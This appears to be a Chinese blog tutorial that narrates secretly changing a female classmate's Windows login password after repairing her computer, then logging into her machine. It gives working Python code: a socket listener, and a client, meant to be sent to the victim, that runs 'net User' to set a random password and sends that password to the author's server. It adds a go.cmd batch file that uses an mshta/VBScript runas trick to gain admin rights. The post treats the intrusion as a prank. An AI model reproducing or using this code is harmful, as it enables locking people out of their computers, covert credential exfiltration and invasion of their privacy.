Python还能这么玩之用Python修改了班花的开机密码


Posted in Python onJune 04, 2021

一、前言

Python还能这么玩之用Python修改了班花的开机密码

班花加我说她电话坏了让我看看,那肯定义不容辞!【兴奋了半个小时】没别的我就想秀一下技术!五分钟后我修好了,电脑重启之后显示输入密码,当时没多想直接走了。回去之后我能不能用技术远程解析一下这个开机密码呢,说干就干。

Python还能这么玩之用Python修改了班花的开机密码

二、工具准备

开发环境:win10、python3.7
开发工具:pycharm

三、项目思路解析

一想到远程,就想到创建连接,一想到创建链接,就想到socket套接字(一想到套接字,就联想到我没有女朋)

Python还能这么玩之用Python修改了班花的开机密码

该项目代码为3份(记住自己拿的是服务端的代码,客服端代码和go.cmd是发给别人的)

首先正常流程创建服务端的服务

服务端流程:

  • 创建套接字
  • -绑定ip和端口
  • -设置监听
  • -等待链接
  • -接受数据打印数据
  • -关闭链接
import socket  # 导入socket
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 创建socket
server.bind(('192.168.246.1', 44444))  # 绑定IP/端口
server.listen(5)  # 监听
print('***********等待连接*********')
conn, addr = server.accept()  # 连接
print(conn) 
print('客户端的地址:', addr)
client_msg = conn.recv(1024)
print('客户端修改的密码是: %s' % client_msg)
conn.close()
server.close()

windows的修改电脑密码的命令:net User 用户名 修改的密码(可以自己动手试一下)

Python还能这么玩之用Python修改了班花的开机密码

客户端流程:

  • 创建套接字
  • -连接服务端的IP和端口
  • -获取当前使用的电脑账户名
  • -生成随机的电脑密码
  • -在终端执行修改Windows密码的指令
  • -发送修改之后的密码
  • -关闭套接字
import socket  # 导入用到的模块
import getpass
import subprocess
import random

client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 创建socket实例
client.connect((ip, 端口))  # 连接server端IP地址/端口按你自己实际情况来
user = getpass.getuser()  # 获取计算机用户名
print(user)
psd = ''
for j in range(1, 9): # 生成1-9的随机数
    m = str(random.randrange(0, 10))
    psd = psd + m

subprocess.Popen(['net', 'User', user, psd])  # 在本地执行(类似于cmd命令)
client.send(psd.encode('utf-8'))  # 将密码发送给server端
back_msg = client.recv(1024)
client.close()  # 关闭socket

到这一步基本就可以自己去尝试了,但是要注意,当前代码只能修改权限是admin的账户。

Python还能这么玩之用Python修改了班花的开机密码

非admin用户需要提高自己的执行权限
直接使用超级管理员权限执行cmd文件
go.cmd

@echo off
%1 mshta vbscript:CreateObject("Shell.Application").ShellExecute("cmd.exe","/c %~s0 ::","","runas",1)(window.close)&&exit
cd /d "%~dp0"

start python client.py

四、小结

最后我修改密码成功登陆,竟然发现了她的密码!

Python还能这么玩之用Python修改了班花的开机密码

这铁憨憨C盘满了都不知道清理,一看就是不太懂电脑的亚子!班花那么好看竟然不太懂电脑,真是惊人的发现哩!

PS:最后我啥都没动改回去了!

到此这篇关于Python还能这么玩之用Python修改了班花的开机密码的文章就介绍到这了,更多相关Python修改密码内容请搜索三水点靠木以前的文章或继续浏览下面的相关文章希望大家以后多多支持三水点靠木!

Python 相关文章推荐
Python实现简单登录验证
Apr 13 Python
matplotlib在python上绘制3D散点图实例详解
Dec 09 Python
Python中sort和sorted函数代码解析
Jan 25 Python
Python requests库用法实例详解
Aug 14 Python
对python中的乘法dot和对应分量相乘multiply详解
Nov 14 Python
Pytorch卷积层手动初始化权值的实例
Aug 17 Python
查看jupyter notebook每个单元格运行时间实例
Apr 22 Python
如何基于Python和Flask编写Prometheus监控
Nov 25 Python
django中cookiecutter的使用教程
Dec 03 Python
python 根据列表批量下载网易云音乐的免费音乐
Dec 03 Python
Python爬虫之爬取某文库文档数据
Apr 21 Python
Python中使用ipython的详细教程
Jun 22 Python
Anaconda安装pytorch及配置PyCharm 2021环境
python如何利用cv2模块读取显示保存图片
Jun 04 #Python
Python实现socket库网络通信套接字
Jun 04 #Python
python cv2图像质量压缩的算法示例
Jun 04 #Python
高考要来啦!用Python爬取历年高考数据并分析
单身狗福利?Python爬取某婚恋网征婚数据
告别网页搜索!教你用python实现一款属于自己的翻译词典软件
You might like
PHP 验证登陆类分享
2015/03/13 PHP
thinkphp框架表单数组实现图片批量上传功能示例
2020/04/04 PHP
基于PHP实现用户登录注册功能的详细教程
2020/08/04 PHP
CSS常用网站布局实例
2008/04/03 Javascript
JavaScript初学者需要了解10个小技巧
2010/08/25 Javascript
javascript中expression的用法整理
2014/05/13 Javascript
解决checkbox的attr(checked)一直为undefined问题
2014/06/16 Javascript
js兼容火狐获取图片宽和高的方法
2015/05/21 Javascript
jQuery中 delegate使用的问题
2015/07/03 Javascript
js实现动态加载脚本的方法实例汇总
2015/11/02 Javascript
基于jQuery实现仿百度首页选项卡切换效果
2016/05/29 Javascript
3kb jQuery代码搞定各种树形选择的实现方法
2016/06/10 Javascript
详解NodeJS框架express的路径映射(路由)功能及控制
2017/03/24 NodeJs
Angular2+如何去除url中的#号详解
2017/12/20 Javascript
JavaScript中的 new 命令
2019/05/22 Javascript
使用layui的layer组件做弹出层的例子
2019/09/27 Javascript
微信小程序实现点击导航条切换页面
2020/11/19 Javascript
wxPython窗口的继承机制实例分析
2014/09/28 Python
Python3实现购物车功能
2018/04/18 Python
tensorflow 输出权重到csv或txt的实例
2018/06/14 Python
Python实现求两个数组交集的方法示例
2019/02/23 Python
Django Channels 实现点对点实时聊天和消息推送功能
2019/07/17 Python
用Python绘制漫步图实例讲解
2020/02/26 Python
Python用5行代码实现批量抠图的示例代码
2020/04/14 Python
python报错: 'list' object has no attribute 'shape'的解决
2020/07/15 Python
html5 canvas移动浏览器上实现图片压缩上传
2016/03/11 HTML / CSS
美国蔬菜和植物种子公司:Burpee
2017/02/01 全球购物
领先的英国注册在线药房 :Simply Meds Online
2019/03/28 全球购物
日本酒店、民宿、温泉旅馆、当地旅行团中文预订:e路东瀛
2019/12/09 全球购物
畜牧兽医本科生个人的自我评价
2013/10/11 职场文书
国庆宣传标语
2014/06/30 职场文书
自我推荐信怎么写
2015/03/24 职场文书
2015年加油站站长工作总结
2015/05/27 职场文书
检讨书之工作不认真
2019/08/14 职场文书
Golang二维数组的使用方式
2021/05/28 Golang
Java常用函数式接口总结
2021/06/29 Java/Android